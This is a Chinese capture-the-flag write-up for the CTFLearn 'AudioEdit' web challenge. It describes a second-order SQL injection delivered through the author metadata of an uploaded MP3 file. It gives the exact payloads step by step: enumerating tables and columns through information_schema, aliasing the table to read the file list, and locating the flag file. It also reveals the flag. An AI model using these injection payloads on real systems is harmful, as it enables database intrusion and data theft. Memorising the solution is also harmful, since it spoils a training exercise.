CTFLearn Web-AudioEdit

CTFLearn Web-AudioEdit

打开网站是一个上传mp3的网站,第一反应是文件上传漏洞类型的题目,于是编写简单的php文件,修改其后缀名,上传报错提示无效的文件类型。尝试用burp修改其content-typeaudio/mp3,依然提示无效。
于是上传正常mp3文件,几次尝试后发现,网页不是根据文件后缀名或是content-type判断文件是否有效,而是会判断文件结构是否符合。
上传MP3文件后观察其处理流程,基于以下几点判断根据:

  1. 上传后跳转页面url有一file参数,似乎是会将文件重命名为其sha值;
  2. 上传同一文件会提示File already exists,猜测会将mp3文件相关信息存入数据库,通过sha值判断是否文件已上传过。

上传成功后的展示页面会显示mp3文件的authortitle等,但是除了authortitle其余的可调节,应该不是文件自带的数据,所以可以猜测上传mp3文件至少是会把authortitle存至数据库。
因此有,在上传mp3文件时,网站后台解析文件的作者和题目信息,并将其插入数据库:

insert into mp3db (..., author, title, ...) values (..., xx, xx, ...)

上传成功后跳转到展示页面,将查询语句执行结果展示出来:

select author, title from mp3db where sha1 = xxx

然而,mp3文件的authortitle这两个元数据是我们可控的,因此可进行sql注入。(windows下直接右键mp3文件进入属性->详细信息,可直接修改作者和标题)
将作者修改为a', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tabels WHERE table_schema=DATABASE())) -- -,则在执行插入时就会变成:

insert into mp3db (..., author, title, ...) values (..., 'a', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())) -- -',...);

这里有两点需要注意:

  1. 我们填入的字段会被吞掉尾字符,所以在注释符后面一定要多加一个字符;
  2. 这里这种成功的方法前提是,authortitle字段为表的最后两列,如果不是,则执行时报错因为列数对不上。

修改作者名后上传文件,在执行insert语句时实际上会将表名填入title字段,而真正传入的title值已经被注释掉了。
上传后的页面就可以看到,Title处显示为audioedit,即表名为audioedit
接下来探测表audioedit的列名,将作者修改为a', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='audioedit')) -- -,上传后Title处值为:

id,file,author,title

尝试输出file列的内容:

a', (SELECT GROUP_CONCAT(file) FROM audioedit)) -- -

发现提示插入错误,搜索资料发现,sql不可能对同一个表(audioedit)一边执行insert,一边执行select。因此采用select ... as避免该问题:

a', (SELECT GROUP_CONCAT(file) FROM audioedit as tmp)) -- -

Title处输出如下:

supersecretflagf1le.mp3,df0c8c1102ab427c35bde3b03f71ade99304a17f.mp3,c2bb62acaeefc531903030d5bb7140584800638c.mp3,cd88b9204a2eb7

可以看到一个可疑的文件supersecretflagf1le.mp3,查看其内容:

a', (SELECT title FROM audioedit as tmp where file='supersecretflagf1le.mp3')) -- -

Title处显示为flag
直接访问这个mp3文件试试,参照前面的url,将上传后展示的url改为:

https://web.ctflearn.com/audioedit/edit.php?file=supersecretflagf1le.mp3

visualisation有三个选项,将选择条拖动到Sonogram,flag出现:

ABCTF{m3t4_inj3cti00n}

PS.这个题注入不难,但前期实在是太迷惑人了并且还有一点点脑洞,也包含了一点猜测的成分

你可能感兴趣的:(web,ctf)